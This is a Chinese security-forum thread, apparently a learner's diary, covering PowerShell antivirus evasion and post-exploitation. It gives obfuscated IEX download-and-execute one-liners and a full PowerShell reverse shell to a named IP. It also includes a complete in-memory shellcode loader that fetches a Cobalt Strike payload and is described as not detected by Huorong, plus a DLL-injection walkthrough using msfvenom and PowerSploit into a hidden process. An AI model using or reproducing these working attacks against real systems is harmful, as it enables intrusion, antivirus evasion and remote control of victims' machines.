安全矩阵

 找回密码
 立即注册
搜索
楼主: pukr

陈艺琳的学习日记

[复制链接]

32

主题

99

帖子

425

积分

中级会员

Rank: 3Rank: 3

积分
425
 楼主| 发表于 2021-3-2 21:50:49 | 显示全部楼层
本帖最后由 pukr 于 2021-3-3 10:57 编辑

绕过执行策略的几种方式
1.本地读取然后通过管道符运行
2.远程下载并通过IEX运行脚本
3.bypass执行策略绕过
4.unrestricted执行策略标志

来源:Powershell免杀从入门到实践
简单混淆
cmd利用环境变量调用powershell:
  1. %psmodulepath:~24,10%
复制代码


设置别名:
  1. powershell set-alias -name cseroad -value Invoke-Expression;cseroad(New-Object Net.WebClient).DownloadString('http://xxx.xxx.xxx/a')
复制代码
转义字符:
  1. PS C:\Users\Administrator> IEX(New-Object Net.WebClient)."Downloa`d`String"('http://116.62.49.176:8888/powersploit/CodeExecution/Invoke-Shellcode.ps1')
复制代码
拆分语句:
  1. powershell "$a='((new-object net.webclient).downloadstring(''ht';$b='tp://109.xx.xx.xx/a''))';IEX ($a+$b)"
复制代码
中文单引号分割:

组合绕过:
  1. cmd /c "set p1=power&& set p2=shell&& cmd /c echo (New-Object Net.WebClient).DownloadString("http://109.xx.xx/a") ^|%p1%%p2% -"
复制代码


在powershell下执行语句比cmd下更容易bypass,而大多数环境都是cmd,故可以将目标机器的powershell反弹出来:
  1. 主机监听:nc -lvp 9090
复制代码
  1. 目标机器执行:powershell  -c "$client = New-Object Net.Sockets.TCPClient('116.62.49.176',9090);$stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback=(iex $data 2>&1 | Out-String );$sendata =$sendback+'PS >';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendata);$leng=$sendbyte.Length;$stream.Write($sendbyte,0,$leng);$stream.Flush()};$client.Close()"
复制代码




本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

32

主题

99

帖子

425

积分

中级会员

Rank: 3Rank: 3

积分
425
 楼主| 发表于 2021-3-3 10:54:34 | 显示全部楼层
本帖最后由 pukr 于 2021-3-3 10:56 编辑

使用加载器远程上线
加载器代码:保存为jzq.ps1,上传至目标机器。火绒未查杀
  1. function func_get_delegate_type_new {
  2.     Param (
  3.         [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
  4.         [Parameter(Position = 1)] [Type] $var_return_type = [Void]
  5.     )
  6.     $var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
  7.     $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
  8.     $var_type_builder.DefineMethod('Inv'+'oke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')
  9.     return $var_type_builder.CreateType()
  10. }

  11. function func_get_proc_address_new {
  12.     Param ($var_module, $var_procedure)        
  13.     $var_unsafe_native_methods = [AppDomain]::CurrentDomain.GetAssemblies()
  14.     $var_unsafe_native_methods_news = ($var_unsafe_native_methods  | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
  15.     $var_gpa = $var_unsafe_native_methods_news.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
  16.     return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods_news.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
  17. }

  18. If ([IntPtr]::size -eq 8) {
  19.     [Byte[]]$acode = (New-Object Net.WebClient)."Down`l`oadData"($args[0])
  20.     $var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address_new kernel32.dll VirtualAlloc), (func_get_delegate_type_new @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
  21.     $var_buffer = $var_va.Invoke([IntPtr]::Zero, $acode.Length, 0x3000, 0x40)
  22.     [System.Runtime.InteropServices.Marshal]::Copy($acode, 0, $var_buffer, $acode.length)
  23.     $var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type_new @([IntPtr]) ([Void])))
  24.     $var_runme.Invoke([IntPtr]::Zero)

  25. }
复制代码
然后将cs4.0生成的raw格式的test.bin放在云主机上。

目标机器执行:
  1. powershell -ExecutionPolicy bypass -File jzq.ps1 http://116.62.49.176:8888/pukr/test.bin
复制代码
cs可正常上线。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

32

主题

99

帖子

425

积分

中级会员

Rank: 3Rank: 3

积分
425
 楼主| 发表于 2021-3-3 10:55:34 | 显示全部楼层
我的图全没了。。
回复

使用道具 举报

32

主题

99

帖子

425

积分

中级会员

Rank: 3Rank: 3

积分
425
 楼主| 发表于 2021-3-3 17:01:38 | 显示全部楼层
dll注入记录
cs生成raw格式的文件

然后在kali中利用msfvenum将其转化为dll文件
  1. root@ecskali-c:/var/www/html/pukr# msfvenom -p generic/custom PAYLOADFILE=./test.bin -a x64 --platform windows -f dll -o pukr.dll
复制代码
上传到目标机。没免杀,被火绒杀掉了。。关了火绒再来。。。
然后还是先下载powersploit的Invoke-DllInjection.ps1脚本。
  1. IEX(New-Object Net.WebClient).DownloadString("http://116.62.49.176:8888/powersploit/CodeExecution/Invoke-DllInjection.ps1")
复制代码
为使注入更加隐蔽,创建一个新的隐藏进程
  1. C:\Users\Administrator>powershell Start-Process c:\windows\system32\notepad.exe -WindowStyle Hidden
复制代码
然后tasklist找到这个进程的pid


然后进行注入:
  1. PS C:\Users\Administrator> Invoke-DllInjection -ProcessID 14564 -Dll c:\pukr.dll
复制代码


cs上线。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2021-4-15 22:40 , Processed in 0.014500 second(s), 17 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表